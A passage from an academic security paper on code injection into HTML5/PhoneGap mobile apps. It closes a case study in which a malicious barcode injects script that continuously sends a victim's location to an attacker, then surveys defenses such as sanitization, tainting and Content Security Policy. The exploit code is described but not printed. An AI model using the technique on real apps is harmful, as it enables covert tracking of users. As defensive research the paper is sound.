device’s geolocation. The API, which is introduced in HTML5,
registers a handler function that will be called automatically
each time the position of the device changes. From the code,
we can see that when the handler function is invoked, the lo-
cation information is stored in the variable loc, and displayed
at Line 6 (see Figure 7(b)). At Lines 7 and 8, loc’s content
is sent to an outside computer. Since the handler function
is called periodically, once the victim scans the malicious
barcode, the device will keep sending its locations to the
attacker, as long as the vulnerable app is still running (see
Figure 7(c)).
This app is also available in other platforms, including iOS
and Blackberry. Unfortunately, we could not get the app’s
barcode scan to work in iOS, because it relies on a barcode
scanner app to read the barcode, but the scanner app does
not work. The RewardingYourself app does work in
Blackberry. We attacked it using the same barcode, and our
attack is completely successful. This verifies our hypothesis
that our attack is not platform dependent.
VIII. SOLUTIONS AND RELATED WORK
Finding solutions to the attack is beyond the scope of
this paper, but it will be the main focus in the next phase
of our research. In this paper, we briefly describe some
potential directions based on the solutions proposed for the
XSS problem. Although some of the solutions may work, at
least conceptually, getting them to work in real systems need
a more thorough study.
Sanitization-based Solution. Sanitization is a common
technique to prevent code injection attacks by filtering out the
code mixed in data. The sanitized data becomes a pure text
and cannot trigger code execution. Sanitization-based solutions
have been widely studied in the web content to prevent code
injection. The key challenge of these solutions is how to
identify the code mixed in data. Several approaches have
been proposed to address this challenge, including Bek [12],
(a) Non-PhoneGap App (b) PhoneGap App
(c) Server Received Location Infomation
Fig. 7: Barcode apps
CSAS [13], ScriptGard [14], etc. Unfortunately, new attacks
are constantly proposed to defeat the filtering logic in the
existing sanitization mechanisms [15], [16].
We can adopt some of the sanitization methods to remove
script from string to prevent the attack; however, the challenge
is to decide where to place the sanitization logic. For XSS,
the decision is simple, because there is only one channel (i.e.,
the web server), but for our attack, there are many channels
that can be used for code injection. There are several places
where we can place the sanitization logic: one is to place it
in the PhoneGap framework since it is the single entry point
that all external data need to pass through before they reach
the JavaScript code inside WebView. However, this solution is
limited to PhoneGap. It will be more desirable if we can place
the sanitization logic in WebView, making it a more generic
solution, but whether this can be achieved without breaking
the other functionalities of WebView is not clear.
Tainting-based Solution. An alternative approach is to use
taint analysis to detect potential code injection vulnerabilities.
Tainting frameworks can be applied at both server side [17],
[18] and client side [19], [20]. The idea behinds tainting is
to mark untrusted inputs, and propagate them throughout the
program. Any attempt to directly or indirectly execute the
tainted data will be reported and discarded.
To enable tainting solutions, we should mark the external
data when it enters the device. The challenge is to track it
throughout the driver, Dalvik VM, JavaScript engine, and the
interaction between these components. Once we can achieve
this, we can prevent malicious code from being triggered, even
if it gets into the device.
Mitigating Damage. Instead of preventing code injection
attacks, several studies propose to mitigate the damage caused
by the injected script. The idea is to restrict the power
of untrusted code. Developers need to configure the policy,
and assign privileges to each DOM element based on the
9
trustworthiness of its contents. For example, Escudo [21] and
Contego [22] restrict the privilege of the script in some specific
DOM elements. Content Security Policy [23], [24] enforces
a fairly strong restriction on JavaScript, not allowing inline
JavaScript and eval(). CSP can solve the problem identified
in this paper, but enforcing on-by-default CSP policy requires
great amount of effort from app developers to modify existing
apps because there is no inline-JavaScript support. It will be
worthwhile to conduct a further study on the effectiveness of
the CSP in protecting HTML5-based mobile apps.
We can adopt the ideas from the above work to mitigate our
attack, i.e., we can develop a secure WebView that provides a
needed trust computing base for HTML5-based mobile apps.
Other Related Attacks. WebView and PhoneGap are
important elements for HTML5-based mobile apps. Several
studies have investigated their security [25]–[29]. NoFrak [29]
and [27] focus on preventing untrusted foreign-origin web
code from accessing local mobile resources. Their solutions
cannot be adopted to defend our attack, as the code in our
attack comes from the external channels that do not belong
to web. XCS [30] finds some interesting channels to inject
code into the sever, such as printer, router and digital photo
frame etc. Once the code is retrieved by web interface, it will
get executed in the desktop browser. In our work, most of the
channels are quite unique to mobile platforms, and the studied
problems are quite different from other attacks.
IX. SUMMARY AND FUTURE WORK
In this paper, we have identified a new type of code injection
attack against HTML5-based mobile apps. We systematically
studied the feasibility of this attack on mobile devices using
real and proof-of-concept apps. We envision an outbreak of our
attacks in the near future, as HTML5-based mobile apps are
becoming more and more popular because of the portability
advantage. Being able to identify such attacks before the
outbreak occurs is very important, as it can help us ensure
that the technologies such as PhoneGap are evolving with the
threat in mind. In our future work, we will develop solutions
to the attack, and work with the PhoneGap team (and other
similar teams) to find practical solutions that are secure while
maintaining the advantage of the HTML5-based mobile apps.
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